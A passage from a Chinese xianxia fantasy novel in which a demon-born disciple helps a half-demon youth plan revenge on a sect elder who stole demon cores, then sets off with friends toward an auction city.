应夏正想听他的感想,谁知裴道远竟是说:“……这一口便喝掉了至少二十枚上品灵石!” “……” 应夏颇为无语,将最后的一口茶水喝完,然后道:“至于吗?你这么不舍得,怎么今天就舍得拿出来喝了?” 裴道远捧着杯盏的动作一顿,将其放下后,看向他,眼神里带着应夏不太理解的羡慕和痛心。 “这茶不是我的,是小师叔给的。” 应夏愣住了,似乎没想到是这么个回答。 裴道远语气极酸地说:“小师叔过来找你的时候看见我布了这个阵法,后来便拿出新山云雾让我到时候泡给你喝,说你一定会喜欢的。我怎么就没有这么好的师父?” 应夏看着空空的茶盏突然又慢慢冒出云雾,而后又是一满杯的茶水,倒是有些意外。 “我可算是借着你的光,才喝到这贵得要死的新山云雾。”裴道远见应夏低头看着自己满上的茶,解释了一句,“这新山云雾两片茶叶便足够喝满满两杯,我也只舍得放这么多了。” 说着他掏出一个精致的木盒放在桌上,挪到应夏面前,道:“这是小师叔给的茶叶,我这杯里是小师叔说让我自己拿几片,我只舍得拿一片,给你放了两片,剩下的都在这里了。” 应夏打开木盒,里头是整整齐齐排列着的茶叶,两头尖尖,颜色是脆嫩无比的绿,仔细看还有些许白雾缭绕着叶片。 应夏将木盒转回给裴道远,说:“给穆槐序和宁妄也来一杯,他们破阵后一定需要补充灵力,这茶正好。” 裴道远心疼地拿了两片茶叶,各自煮了两杯茶,盖上茶盖。 应夏收起木盒后,问道:“师父他知道我们的事了?可有说什么?” 裴道远小小地尝了一口新山云雾,回味良久,才道:“小师叔没有说什么,只是让你等事情结束回去找他一趟,看起来像是有话和你说。” 应夏托着下颌,将视线垂落在云雾茶中,看来温却沧是知道他的打算了,不过也不是坏事。 这么想着,应夏慢慢将最后的茶水饮尽,他问这时候才喝了一小半的裴道远,“宁妄的情况怎么样了?” “已经过了一半了,他身边那条黑蛇倒是厉害,破了我好几个困阵,不过宁妄自己很少出手。”裴道远屈起手指,在桌面上敲击了两下,随后桌面便显现出宁妄现在的画面来。 他紧闭着双眼,正被一条巨大的黑蛇缠绕保护着。 裴道远说:“他进入幻阵了,这个幻阵比较难,不过我也刻意留了一些破阵,希望他能够发现吧。” 应夏勾了勾唇角,他悄悄布下的咒术便是在这个幻阵中,看来宁妄已经顺利进入朱雀的梦境了。 随后他转移话题道:“穆槐序怎么样了?他怎么还没出来?” 裴道远又敲了两下,画面转换成穆槐序的情况。 “他呀,正借着我的阵法修炼呢!” 应夏看见穆槐序拿着匕首,正在兽群中厮杀着,身手敏捷迅速。 “这阵是困阵,无止境的凶兽幻想,破阵的方法他又不是不知道,这是存心想在这里修炼了。” 应夏觉得有些意思,说:“这个方法倒是不错,平时和你们打都有些腻了,不如下次试试在阵法里模拟吧,还可以换一些极端环境、恶劣天气。” 裴道远:“……这也可以?!”- 宁妄从火海梦境中醒来后,他没忍住落下两行清泪,很快擦去后,蹭了蹭一直保护着自己的黑蛇,道:“真好,我还有你。” 黑蛇宁玄也感觉到宁妄的心情,靠着他嘶嘶两声回应。 出来之后的宁妄显然有些不一样了,他的修为似乎又上涨了许多,破阵速度也更快了。 连裴道远都有些惊讶,他竟是在阵法中成长了这么多,只有应夏知道其真实原因。 最后,宁妄靠着他自己破解了所有阵法走出去,终点是一道瀑布,他毫不犹豫地穿过瀑布,霎时金光大现,眼前的景色变化万千,最后宁妄和黑蛇一起昏了过去。 等到宁妄再次醒来的时候,他们回到了小空间内。 应夏正坐在他身边,见他醒来,问道:“感觉如何?是否有不适?” 宁妄摇摇头,顺着宁玄的力道靠在床上:“我是晕了过去?那……” “你成功了!你破解了所有的阵法,我也拿到了邀请函。”应夏将邀请函拿出来,那是一块雕刻精致华美的令牌,上头刻着丹顶阁与御兽门的标志。 宁妄笑了:“太好了。” “如此,这五块上品灵石便交给你了。”应夏拿出一小袋灵石放在宁妄手里,“你消耗了许多,好好休息一下。” 宁妄攥着那个袋子,点点头。 应夏看着宁妄眉心若隐若现的火印,有意外又了然,道:“你应该见到朱雀了吧?” 第62章 第 62 章 所以,关键在于朱雀的妖…… 听到应夏这么说, 宁妄并没有露出太惊讶的表情,只是微微愣了一下,然后想到什么, 有些赧然说:“一开始见到朱雀长老,我以为是阵法的幻象,竟是和宁玄一起攻击了长老, 好在朱雀长老即时制止了我,否则……” 应夏见状弯唇一笑, 道:“这些先不说,既然你已见过朱雀,你们谈得如何?” 宁妄刚想说话,便被应夏塞了一杯茶, 道:“你刚醒来,先喝口灵茶润润嗓子。”刚才听他说话声音便是十分喑哑,正好这杯新山云雾他晕过去后还没来得及喝。 带着谢意接过茶盏,喝了一口, 充盈的灵气瞬间顺着茶水在口中翻腾着, 竟是把宁妄惊得瞪圆了眼睛, 而后呛到了。 “咳咳咳!”宁妄一手端着茶一手捂着嘴,有些狼狈地咳嗽起来。 应夏有些无措地拍拍他的肩膀,渡过去一些灵气,抱歉道:“对不起, 光想着能补充些灵力, 忘了这杯茶还有点‘调皮’。” 宁妄似乎因咳嗽脸颊变得更红了, 他很快缓过来,说:“不是恩人的错,是我自己不小心。” “不是都说了要叫我应夏的吗?” 宁妄又手足无措地看着他, 黑褐色的瞳仁圆圆的,十分单纯可爱。 应夏心情十分好的不计较这事了,说:“慢慢来,先说说你与朱雀说了什么?我能感觉到他应该在你身体里留了一些东西。” 说着,他点了点宁妄的眉心,“这里出现了一道火印,你是控制不好所以才时隐时现么?” 宁妄顺着应夏的动作伸手摸着眉心,确实感觉到一丝火热的滚烫,他放下手,道:“是,朱雀长老将他的一抹力量传给我,只是我不知道如何使用,大概是因为……” 说到这里便顿住了,应夏瞥了眼他握着杯盏用力到指尖有些发白的手,说:“小空间里没有别人,我已经知道你和朱雀一样是半妖了。” 突然想到什么,应夏问道:“难道说,朱兴朝他们知道你是半妖,才这么欺负你?” “不,不是!”宁妄蓦地抬头,“他们不知道,若是知道早就……不会等这么久才对我出手。” 应夏又说:“那便是青龙知道了。” 宁妄怔了一下,复又浅浅笑了一下,眼底却没有笑意,而是满腔的恨意,他道:“恩……应夏你既然都已经知道了,我便也不瞒你了。” “青龙长老确实是知道我的半妖身份,所以才特意设局来挖我的妖丹!” 原本宁妄其实只是猜测,但知道朱雀长老的事后,他便万分肯定这里面一定有青龙长老的手笔! “这么说来,朱兴朝或许是受青龙的旨意。”看到宁妄蹙了下眉,应夏又换了种说法,“或者,他只是单纯的对你有恶意,恰好青龙利用了这一点,借机挖你的妖丹将此事推到朱兴朝头上。” 宁妄点点头:“没错,所以比起朱兴朝,我更恨青龙长老。” 应夏又提问道:“那你是如何知道青龙想要挖你的妖丹?” 宁妄顿了顿,似乎又回想起不太好的场景,神色一沉,手上的杯盏都发出酸牙的摩擦声,像是被这声音惊到,宁妄回过神来时,手中的茶杯已经被宁玄缠绕着送到了一边放置,手里是一片沁凉的鳞甲触感。 宁玄用蛇头蹭了蹭宁妄的脸颊,嘶嘶两声,似乎是在安慰他。 应夏都忍不住说:“你们感情真好。” 宁妄这才散去眼底的阴霾,抱着宁玄露出一点笑意,说:“是,让你见笑了,宁玄对我来说便是最重要的家人。” 家人么?应夏若有所思,他是天生的魔,从来都没有所谓的家人,若真要说,便是世间万物都是他的家人,毕竟大家都是天道所生,但那又不太一样。 看见宁妄与宁玄黏黏糊糊的样子,应夏脑海中突然闪过一双含情潋滟的桃花眼,猛地将他惊得回神。 他有些心虚地想着,原本温却沧让应夏回听雪峰找他一趟,但宁妄晕过去后他便借口照顾宁妄没有直接回去,毕竟他得了解宁妄的态度后才能有把握。 师父他……应该不会生气吧? “我发现青龙长老是因为在那些人折磨我时泄露了一些信息,大概是看我是个死人了便没有顾忌,最后有一个人留下来说是要处理我的尸体,其实不过就是挖我的妖丹。” 应夏的注意力被宁妄的话语又拉回来,只听他冷笑一声,嘲道:“那些人最后也被青龙灭口,真是做得滴水不漏。” “你怎么知道他被灭口了?” “是宁玄在那些人身上都咬了一口,他们以为法术能祛除便没有太在意,其实那都是灵魂烙印。”宁妄摸摸宁玄说道,“除非他们死了,不然我和宁玄就能感知到他们在哪里。不过,那些人都死了。” 应夏皱眉道:“你是说,朱兴朝派去的那些杀你的人全都死了?” 宁妄点点头,说:“是的,我死过一次,那么御兽门中的命牌一定碎了,长老们若是要追查便会查到朱兴朝头上。青龙长老他将此事全部归结于朱兴朝,然后将他手下的人杀了,也顺理成章。” “那朱兴朝死了吗?” “没有。”宁妄眼神晦暗,“他还活着,烙印没有消失。恐怕只是惩罚他,没让他死。” 应夏推测道:“这么说来,青龙他应该是已经知道你还没死了,留下朱兴朝,是为了让你回去复仇。同时,应该也是想试探你,是不是知道了真相。” 宁妄自嘲又不解:“青龙长老他想杀我就像碾死一只蚂蚁,为何要如此?” 应夏啧了一声,说:“他应该有所顾忌,不然也不会杀了朱雀后又找人伪装他还活着。想要你体内的妖丹,还要借朱兴朝的手。” 宁妄皱着眉,有些苦涩道:“……他能顾忌什么?他连白虎长老都不怕。” 在宁妄的叙述下,如今的御兽门可谓是青龙长老独大,因为如今他的修为境界提升很快,已是渡劫期。也因此,炼虚期的白虎长老对他来说不算什么了,虽然面子上还维持着,但实际上整个御兽门已经和以前完全不一样了。 “朱兴朝他才敢明目张胆的与我作对,处处欺辱我。”宁妄叹了口气,“不仅是我,像我一样的同门都受他们的气,除非真的做得太绝,不然也不会受到惩罚。” 青龙已经是渡劫期了?!应夏舔了下后槽牙,觉得有些不太妙,以他现在的实力对上炼虚期都不太行,更何况是渡劫期。 想到那日与温却沧对战的昊英道君,虽在雷劫压制下,但并不输阵。应夏都打不过温却沧,怎么去杀青龙? 应夏看了看宁妄,又回想只剩残魂的朱雀,着实觉得有些挫败,他们加起来可能都打不过渡劫期青龙的一根手指吧? 不对,宁妄应该已经将御兽门现状告知与朱雀了,但他还是给宁妄留了力量,这说明他应该有办法对付青龙。 想到这里,应夏问道:“青龙现在已经是渡劫期,就算你靠着至元丹修炼至元婴,我们几个加起来也打不过他,如何杀他呢?” 宁妄似乎早就知道他有此一问,解释道:“朱雀长老说,青龙长老修为进步如此神速,很可能是吃了我们的妖丹,如此,便是他的最大的弱点。” “怎么说?” 宁妄伸出一只手,将手心向上,一簇火焰冒了出来,随后旋转着形成一颗火红的妖丹,上面刻着复杂的纹路。不一会儿,这颗丹旁边出现了另一颗黑色的妖丹,比起红色的妖丹,黑色的明显更小了一圈。 “这是朱雀长老和我的妖丹,只是幻象。”宁妄说着,“青龙长老挖妖丹修炼,有利也有弊,弊端便是他的妖化会更加明显。” 他手心的两颗妖丹幻象随即融合变成了一个人影,似乎是长着尾巴的青龙长老,不过除了尾巴之外,连他的脸和手上都覆盖了许多鳞甲。 “我和宁玄的妖丹都是蛇属性,与青龙长老修炼的心法算是比较相近,所以若是妖化也可以说成是心法的缘故,而且他会更容易控制隐藏。” 很快,手心的人身上的鳞甲都不见了。 应夏:“所以,关键在于朱雀的妖丹。” “没错。”宁妄手心的人似乎变得十分愤怒狰狞,“朱雀长老和我说,青龙长老若是炼化了他的妖丹,一定压不住那股火,脾气会变得十分暴躁易怒。但在我的记忆中,青龙长老并没有这样,这说明他找到了什么方法压制,或者伪装。” “朱雀长老将他的力量交给我,便是想让我接触青龙长老,引爆他的妖丹。”宁妄伸手摸了摸眉心的火印,然后手指收拢,捏散了手心的幻象。 应夏一惊,“引爆?可妖丹不是应该已经被青龙炼化了么?” “若是炼化了更好,融成青龙长老的骨血,引爆时更……”宁妄毫不掩饰恨意。 应夏蹙眉:“等等,若是青龙他没有炼化妖丹呢?” 宁妄冷静下来,说:“有了朱雀长老的力量,只要我回到御兽门见到青龙长老,便能分辨他是否炼化了妖丹。” 应夏觉得奇怪:“引爆妖丹这招,朱雀怎么没和我说?” “因为这个事情,需要半妖或者妖修来做。”宁妄摸着黑蛇,“引爆妖丹需要妖血与妖力。” 虽然宁妄说得风轻云淡,像是很简单的事,但应夏直觉引爆妖丹一定需要付出巨大的代价,但他没有多问,只是说要和他一起回御兽门。 宁妄并不意外,显然朱雀已经和他交代过这事。 第63章 第 63 章 那条黑蛇一定不是普通的…… 与宁妄交谈过后, 应夏还去找了朱雀,询问关于引爆妖丹一事。 朱雀看着有些气鼓鼓的应夏,眼底带着些歉意道:“我不是故意没和你说的, 也是与宁妄交流时突然想到的。” 应夏哼哼两声,问道:“引爆妖丹需要付出什么代价?宁妄他……” 朱雀顿了顿,蹙着眉, 叹了口气道:“若是只要引爆我的妖丹,只需我给宁妄的那股力量便可, 不过我看他的意思,也是想将自己的那颗一同引爆。” 应夏疑惑:“有何区别?” “我已经是个死人了,可宁妄不一样,他刚从鬼门关回来, 即便用至元丹突破元婴,依旧不能够承受引爆妖丹的代价。”朱雀闭了闭眼,复又睁开,“青龙或许只是重伤并不会死, 但宁妄他自己一定会死。” 应夏吃惊道:“怎么会这样?按理说妖丹在青龙体内, 引爆它受伤最重的应该是青龙, 怎么宁妄他也要……不,甚至是会死?” 朱雀又轻叹一声,解释道:“妖丹若是在自己掌控范围内,想要引爆自然是不需要付出太多, 虽有伤及但不致死, 可若是在别人体内……便是要做好同归于尽的准备。” “妖丹离体后被别人炼化吞噬, 便与其主人断开了联系,为青龙所用。所以若是要找回这层联系,必须耗费十足的妖血与妖力, 重新铸成一枚假丹,届时引爆这枚假丹,真妖丹便会同时毁灭,不论它是否被炼化。” “我给他的力量类似于假丹,虽然与妖血妖力铸成的假丹有所不同,但效果是一样的,都能引爆妖丹。” 朱雀眼里有些痛惜与哀伤,“我原本劝过宁妄,让他引爆我的妖丹便可,但他还是决定自己炼出一颗假丹。” 应夏思索了一会儿,说:“宁妄既然如此决断,便尊重他的选择。” 说着,话锋又一转,拿出红刃骨刀比给朱雀,问道,“你们有了对青龙的策略,可别忘了还有我,我可也是要帮你报仇,好还了这骨刀恩情的。” 朱雀被他惹笑了,被火烧的斑驳的脸上露出一个浅淡的笑容,“你已经帮了我很多了,而且如今……青龙一定会死的,至于他是怎么死的,我已经不在乎了。” “怎么会不在乎呢?”应夏更不理解了,“把自己搞成这副模样的仇人,若是我,非得十倍让他偿还完,再凄凄惨惨的死才好,可不能便宜了他!” 少年抱着骨刀,撇着嘴,一副为朱雀打抱不平的样子,眼底透着清澈的恨意。 朱雀笑了笑,没有忍住伸手轻抚了一下应夏的发顶,很快便收了回来,说:“谢谢你,也是因为你我才渐渐不在乎,至少青龙做了这么多错事,天道一定不会放过他的,一定会狠狠惩罚他的。” 应夏一把抓住朱雀的手,道:“不行,我决定了,到时候你附在我身上,找青龙报仇吧!虽然我也想帮你手刃仇人,不过这种事情还是自己亲自来,亲眼看着仇人死去,才比较爽快。” 朱雀没想到他会这么说,有些惊讶,本欲婉拒,却被应夏打断。 “好好做个了断,既然你都说了这是他的因果,你就好好看着,认真看着。” 朱雀看见少年鹿眸中的执着与认真,顺着他的话点了点头,“好,多谢。” 应夏摆摆手,“干嘛这么客气?我们已经是朋友了不是吗?” 闻言,朱雀一愣。 应夏“啊”了一声,忙问道:“我们都相处了这么久了,我以为我们早就是朋友了……难道你嫌弃我修为低?还是介意我是一个魔?或者是觉得我是小辈?” 朱雀连忙解释:“不是,我没有。” 应夏这才十分满意地拍了拍他的肩膀,说:“之前也多谢有你帮我出主意。” 朱雀倒是没想到自己能交到一个魔朋友,看着少年热情的模样,眼里含着笑意:“都是朋友了,便不必言谢。” 突然想起一件事,应夏说:“对了,我想将魔骨交给宁妄,你觉得如何?” “魔骨?”朱雀差点忘了他还有这个东西,“你怎么会这么想?宁妄他并非是魔,也不会控制魔骨。难道,你想让他入魔?” “让他入魔做什么,只是我觉得魔骨给他或许能用到。”应夏捏了捏小指上的银环,“等我修炼至元婴期,这魔骨于我用处也不大了,交给宁妄,或许能在对付青龙上有些用处。” 朱雀沉思半晌,犹豫道:“可是,魔骨上有很重的魔气,宁妄无法控制。” “这个你放心,我想交给他自然是有让他控制魔骨的办法。”应夏手指用力,突然硬生生从掰断骨节,将魔骨取了出来。 断裂的小指瞬间愈合,依旧是一只完美无缺的手。 纯黑的魔骨包裹着强烈的魔气被应夏捏着,金线突然冒了出来,紧密地缠绕着魔骨,魔骨似乎发出了微弱的滋滋声响,魔气动荡起来,似乎是要反抗功德金光。不过很快便败下阵来,老老实实地被金线完全裹住。 “你这是……” 应夏仔细净化着魔骨中的魔气,一边说:“它在我体内也许多时日了,想要完全净化这个魔骨也快成功了,到时候交给宁妄便没有可诱他入魔的因素,而他可以控制这魔骨,也可以借此驱使魔气。” 朱雀沉默了,似乎是在考量。 “此事我一直在考虑,不过也不会这么快就交给他,去御兽门的路上我会再观察,找个适当的时机再交给他。” 朱雀问:“为何突然会想到这个?” 应夏将魔骨握在手心里,说:“因为我觉得青龙不会不知道有人会想报复他,他挖妖丹这事受害者可能不止你们两个,或许也有其他人被挖了妖丹,那么,也总会有人去寻他报仇。当然也有可能没有,他做的很干净。” “不过,有人找上门报仇这件事他肯定有考虑过,那么,引爆妖丹一事,你们能想到,他也可能想得到,或许也已经有了对策……” 应夏顿了顿,“有句话怎么说来着?鸡蛋不能放在一个篮子里,总是要多做两手准备才是。” 朱雀却说:“你说的没错,但魔骨在你手里岂不更好控制?为什么偏偏要交给宁妄?” “我想要将魔骨交给宁妄,是因为那条黑蛇,宁玄。” 朱雀一愣。 应夏勾了勾唇角,说:“那条黑蛇一定不是普通的黑蛇,没有妖丹她竟也能活下来,我一直在思考为什么。” “为什么?”朱雀顺着他的话问道。 “我怀疑宁玄是灵。” 朱雀:“?!” 应夏继续道:“她不知道她是灵,所以她一直以妖兽身份生活着,吸收灵力转化成妖力,甚至凝结出妖丹,在别人看来这的确是一条妖蛇。就连我一开始也没有注意到宁玄身上的异样,直到他们从阵法中出来,宁玄用光了妖力,我才发觉。” 实际上是小石头看到他们一人一蛇都晕过去后,发现的,之后便惊奇地跑过来告诉了应夏。 应夏这才想明白宁玄为何如此神奇地活过来,因为她根本不是靠着妖丹妖力生存,而是靠着灵气灵力,所以只需要注入灵气她便可以很快又活过来。 朱雀有些糊涂了,“……她、她既然是灵,又怎么驱使魔气?” “宁玄自然不行,但宁妄可以。”应夏笑了笑,说:“等我将魔骨完全剔除杂质,再将几缕功德金光赠予宁妄,在灵的辅助下,他便可驱使了,只不过只有这节魔骨产生的魔气罢了,再多也不可能了。” “不过,我觉得,这一手肯定是青龙没有防备的。” 朱雀也想到了,“你说的没错,要么便是入魔了去找他复仇,要么便是没有入魔,他应当是不会想到还有人不入魔就能驱使魔气的。” “你是魔骨的主人,我便来问问你的意见。”应夏说道。 朱雀笑着摇头道:“魔骨已经是你的东西了,自然由你做主。” “你不介意我把它送人?” “不介意。”朱雀道。“更何况你是为了杀掉青龙,我自然双手赞成。” “那便好。” 从火海梦境中出来后,应夏躺在床上睁开了眼睛,正要起身,却瞧见旁边坐了个人。 “师父?”应夏坐起身来,看着坐在一旁的温却沧,见他面色如常,桃花眼里依旧带着暖暖春意,心里送了一些,“你来了多久了?” 温却沧伸手帮应夏压下一根翘起的头发,温声道:“不久,刚坐下你便醒了。” 应夏想了想,乖巧地与温却沧说了宁妄和朱雀一事,还道:“师父,我准备过几日和宁妄一起下山去御兽门。” 温却沧点点头,道:“好。” 应夏眨了眨眼睛,等了一会儿没等到他的下文,便道:“师父,这次我也是想下山历练历练,你……就不要跟着我一起去了吧。” 温却沧神色未变,语气变得更加柔和了,问道:“还有谁和你一起去?” “穆槐序和裴道远,我们四人一同。” “好。” 应夏没想到温却沧这么快便答应了,心里竟是有些别扭和失落,一时分神没注意,这情绪便从眼底泄露了出去。 温却沧看见时呼吸微滞,随后有些忍俊不禁,明明觉得失落的人应该是自己才对,明明是徒弟不想要师父一同去,师父也随徒弟的意思,怎么他这里答应了,反而徒弟有些不高兴了? 应夏咬着下唇,一脸怀疑道:“你是不是想收别人为徒了?” 温却沧笑着问:“你怎么会这么想?” 第64章 第 64 章 可是他是魔,是不会有人…… 应夏抿着唇没有说话, 半敛下眼睫遮住鹿眸中的情绪,微蹙起眉,似乎有些懊恼。 温却沧笑得更加温柔, 没有再追问,只是伸手摸了摸他的头发,道:“那你是想让师父一起去?” 原本觉得应夏会坚定地一口回绝, 却不知为何没有听到他的否决,反而是见到了少见的纠结神情。 他竟然在纠结、犹豫? 温却沧很是意外, 他仔细观察着应夏的表情,见他下意识捏了捏小指的银环,察觉到原本在少年指节中的魔骨似乎不见了。 他正思索着,目光对上了那双清澈的褐眸, 接着应夏启唇打断了他的思绪。 “师父,你问我想不想和你一起去,我其实是想的。” 温却沧静静地听着,但实际上内心已掀起巨浪, 他没想到应夏会这么说, 不过他也知道, 这话还有后文。 果然,应夏接着道:“因为我从宁妄那儿得知青龙长老不好对付。不过,我不能太依赖师父了,这一次, 应该由我自己来解决。” 这是他与朱雀结下的契约。 而且, 他必须避开温却沧提升修为。 应夏有预感, 这一次解决青龙,他会变得很强,甚至可以不需要隐瞒身份潜入修仙者中, 他可以随心所欲地去做魔。 也不必每天在天敌的眼皮子底下,担心哪天会突然暴露身份。虽然有功德金光的加成,这种可能微乎其微。 但应夏知道,他不会一直待在温却沧身边的。 这一次前往御兽门的分离只是开始,他或许不会再回玄衍宗了。 这明明是应夏一开始便期待的结果,可不知为何……竟有些令他烦躁了。 他从来不会因此踌躇不前,想做什么便做,这是他第一次生出这种纷乱不知如何是好的感觉来。 所以,他诚实地对温却沧诉说自己的情感:“师父,这就是不舍吗?” 魔是最向往自由的,可是他现在却好像有了牵绊。 温却沧看着那双眼眸中的赤诚,心跳快了几拍,他不自觉手指捏住袖口,道:“是或不是,这个问题我无法回答你,因为这是你的情绪和想法,你应该自己去感受。” “如何感受?” 温却沧温声道:“去问问你的心。” 应夏沉默了,可是他是魔,是不会有人心的。即便他的胸膛里有一颗跳动的脏器,但那不是真的人心。 看来,这个问题是暂时得不到答案了。 应夏慢慢冷静下来,他知道温却沧对他很好,但他的身份终究会被戳破,他们终究是会站在对立面上,只不过早晚问题。 如今知道了温却沧的真实身份是他的天敌,这更是要尽快远离才对。 御兽门一事便是很好的借口。 应夏收敛起所有思绪,低下头看着自己的手,说:“我知道了,师父。” 说完,他抬起头笑着看向温却沧。 温却沧下意识一顿,随后又摸了摸他的头,道:“此去一路小心,若有意外,可用玉佩唤我。” “好,师父,我会好好照顾自己的。”- 出发之日,应夏三人与宁妄在约定之地见面。 几人相互介绍之后,应夏见宁妄的视线在穆槐序和裴道远身上转了一圈便回去了,并没有多留,看样子也并不打算询问破阵那日的事情。 穆槐序却主动提起,“那日有幸相会,还没恭喜你顺利破阵拿到了邀请函,恭喜了。” 宁妄连忙摆手,礼貌回道:“侥幸,侥幸而已。” 裴道远摇着扇子,一副事不关己看热闹的模样瞧着二人。 应夏打断了二人的互相客气,说:“时间不早了,我们先上法器,有什么事可以路上再说。” 说完,裴道远接到应夏瞥过来的眼神,将扇子朝前轻轻一托举,一道薄雾从扇面溢散出来,笼罩了面前的好大一块空间。 很快白蒙蒙的雾气散去,一叶小舟便悬空停在半空中。 裴道远率先跳了上去,找了个船头的位置坐下,朝几人招了招手,道:“上来吧。” 等四人都坐上船后,那叶扁舟便升高至能望见周围峰顶后,才朝一个方向飞去。 应夏坐在船上朝外望去,绵连的云雾托举着这小舟,就像是在游在云海中一般,而且速度并不慢。 微凉潮湿的雾气打在脸上,并不刺痛反而格外轻柔,好像船中的空气流动与船外的并不相同,坐在船内不会感觉到任何颠簸和摇晃。 “这法器你又是从哪儿淘来的?”应夏摸了摸小舟上的木质纹路,这木头材料并不罕见,不过拿来做代步法器的很少,因为这是天生蕴含着灵气的灵木。 但这么大的灵木却很少见,应夏没有看到船上有拼接的痕迹,纹路都很顺畅,这说明这是用一大块巨木制成的。 这么大体型的树木,一般都快成精了,很少见有人将这么巨大的灵树砍倒制东西。 应夏估计着这树,大概也有好几百年寿数,若是砍倒了,可算是罪过了。 裴道远晃着扇子,背后流动的云雾衬着他更陌上人如玉,星眸一弯,道:“这可是用一整块巨大的灵木做成的,珍贵的很。” 穆槐序显然也知道巨木的珍贵性,疑惑道:“这木头年纪应该很大了,你怎么舍得将它制成法器的?”而且还是做成代步法器,有些暴殄天物了。 就连宁妄也看着这木舟可惜地点点头。 似乎早就知道他们会这么想,裴道远露出了一个颇有风流意味的笑意,道:“这可不是我的法器,是别人赠与我师父的。” “天枢长老?” 裴道远点点头,继续道:“我和师父说我要去御兽门,想借个代步法器,师父便把这个给我了。” 他摇着扇子,有些感叹道:“当时我看见这木舟也吓了一跳,我问师父是砍了哪儿的灵树造孽了,师父差点没把我直接逐出师门!” 闻言,宁妄忍俊不禁,看见另外三人都看向他,连忙收敛了笑意,脸颊飞上一抹淡红。 应夏挑眉笑着调侃道:“那你怎么还穿着玄衍宗的服饰?赶紧脱了。” “喂喂,好歹在宁妄面前给我留点面子啊!”裴道远绷不住了。 连平时不苟言笑的穆槐序也毫不客气的嘲笑起他来。 原本有些拘谨的宁妄逐渐在这笑闹中放松下来,眼底掩去一抹羡慕。 “行了行了,你赶紧说重点。” 好在裴道远早就被这俩损友拆台惯了,咳嗽两声将气氛拉回来,道:“你们或许不知道,这小舟还关系着我师父他的八卦呢!” 其他几人露出一副惊讶吃瓜的表情。 “天枢长老还能有八卦?”应夏不太信,他与天枢长老也相处过,那人就是个古板的修士,怎么看都不像是能和八卦挨找边的。 穆槐序也道:“你可别出了宗门就胡乱抹黑你师父,小心被他听见。” 就连宁妄也说:“这……是天枢长老的私事,我们不好谈论吧?” 裴道远神秘地笑了笑,问道:“你们就说想不想知道吧?不想的话,我就不说了。” 三人自然是想的,兴趣都被勾出来了,这要是不知道可要难受上好几天。 “你快说吧,我就不信天枢长老还能有八卦。” 裴道远晃了晃脑袋,将扇子一收往手心一拍,向前倾身,低声道:“这事,你们可别传出去……” 见状,三人也俯低身子凑近去听。 “是这样的,我师父有个喜欢的女修,那位女修路过一巨灵树后,眼露欣喜,十分喜爱那棵巨大的灵树。师父知道后,便将那巨灵树砍了做成一叶小舟送给女修……” 宁妄听了都忍不住皱起眉:“这……” “当然,最后那女修看见这小舟大怒,与师父翻脸断交再无往来了。”裴道远似乎恨铁不成钢地叹了口气,“你说我师父怎么、怎么就不懂女人心呢?他竟将人家喜欢的树砍了,这是什么逻辑?” 穆槐序也赞同地点点头。 只有应夏蹙着眉,仔细分析道:“那女修不是喜欢这灵木么?天枢长老应该是将她喜欢的东西送给她。喜欢的东西,时时看见,不就能刻刻欢喜了么?” 这话一出,其他三人一愣。 好像这么说,也没有错。 应夏又说:“可惜那名女修不了解天枢长老是如何喜欢她,所以才想着时时刻刻让她欢喜。” 裴道远拧着眉,怎么听他这么说,他师父倒成了个情种了? “不过,这事的确是天枢长老做错了。” 应夏望着船外朦胧美丽的大好景色,道:“天枢长老用情至深,却忘记去想,那名女修究竟想要的是什么。” 裴道远连忙点点头,赞同道:“对,那女修喜欢的可能就是肆意生长的巨大灵树罢了,更深点来说,她或许是敬佩喜爱这顽强的灵树,可以经历上百年的风霜成长得这么大。可是我师父却把它砍倒了……” 应夏看向他,“你这么说,倒是觉得天枢长老又为了爱情昏了头。” 听到这个描述,裴道远和穆槐序脸上都露出一言难尽的表情,他们实在是有些难以想象古板如天枢长老,能用“盲目”“为爱昏了头”来形容。 应夏也觉得不对劲,蹙眉道:“这事应该不止是一个普通的八卦吧?天枢长老不会昏头如此,恐怕是那名女修给他下了什么咒术。” 裴道远有些惊讶应夏竟是能猜到,便道:“没错,那名女修其实是一个魔修,师父他中了那魔修的魅惑术,砍倒灵树送她也是被控制了,后来是做这小舟时,被灵树的灵气救醒,带着小舟假装还被魅惑,而后反杀了那名魔修。” 应夏露出一个果然如此的表情,还有点点可惜,“还以为是一个真八卦呢……” “我可是冒着天大的风险告诉你们我师父的黑历史,可别到处乱说啊?”裴道远嘱咐道。 穆槐序和宁妄谨慎地点点头。 一时间,几人的氛围融洽了许多,分享八卦确实能拉近关系。 应夏却在想,是什么魅惑术竟然能将古板的天枢长老都魅惑了?这魔修不简单啊……还有这棵巨大的灵树,一个魔修怎么会喜欢灵树? 总觉得这个故事有些蹊跷。 不过应夏没有多想,毕竟这事与他无关,而那魔修也早就死于天枢长老之手。 第65章 第 65 章 御兽门与毒藤秘境。…… 拍卖会地点定在中心城, 是整片大陆最中心的位置,应夏他们乘上小舟需五日才能抵达。 为了留出足够多的时间让自己还有宁妄提升修为至元婴,应夏特意提前了半个多月出发, 而且他们并不会直接去中心城,而是先在中心城附近的昌城暂时停留,直至拍卖会开启时再前往。 这是应夏与其他三人商议后的结果, 而且昌城中也有丹顶阁卖丹药分会,宁妄的至元丹也可在昌城中购买, 而后大家一起在小空间内修炼。 “那便是昌城了?这么气派!”裴道远望着远处云雾下的巍峨宫殿,感叹道。 穆槐序却说:“那是中心城的城主府,昌城在另一边。” 裴道远啧啧两声:“我倒是从未来过中心城,不愧是大陆第一城, 城主府建造的都这么华贵气派!” 应夏也看着远处矗立在山上的华美宫殿,笑了笑,只评价了一句:“不如师祖的宫殿。” 裴道远赞同地点点头,“据说城主是位炼虚期修士, 也快进入渡劫期了。” 穆槐序道:“这次御兽门和丹顶阁的联合拍卖会便是在城主府举办的, 城主对这次拍卖会极为重视, 请了许多修仙界大能前来助阵。” 这个消息倒是令应夏有些诧异,他问道:“若是如此,玄衍宗怎么没有派人前往?” 穆槐序手上的邀请函还是他下山“日行一善”时获得的,玄衍宗里并没有联合拍卖会的消息, 甚至许多弟子都不知道有这一回事。 裴道远用扇子有节奏地敲打着手心, 道:“这次拍卖会确实有些奇怪, 不过玄衍宗倒不是特例,而是所有修仙界的宗门都没有收到邀请函。哦,当然除了举办方他们自己。” “什么意思?” 裴道远转了转扇子, 眉梢一挑,道:“这次联合拍卖会只对一些势力、家族以及散修开放,当然也有宗门弟子能拿到邀请函,但那都是只限于个人。” 应夏单手撑着下颌思索着,没有说话。 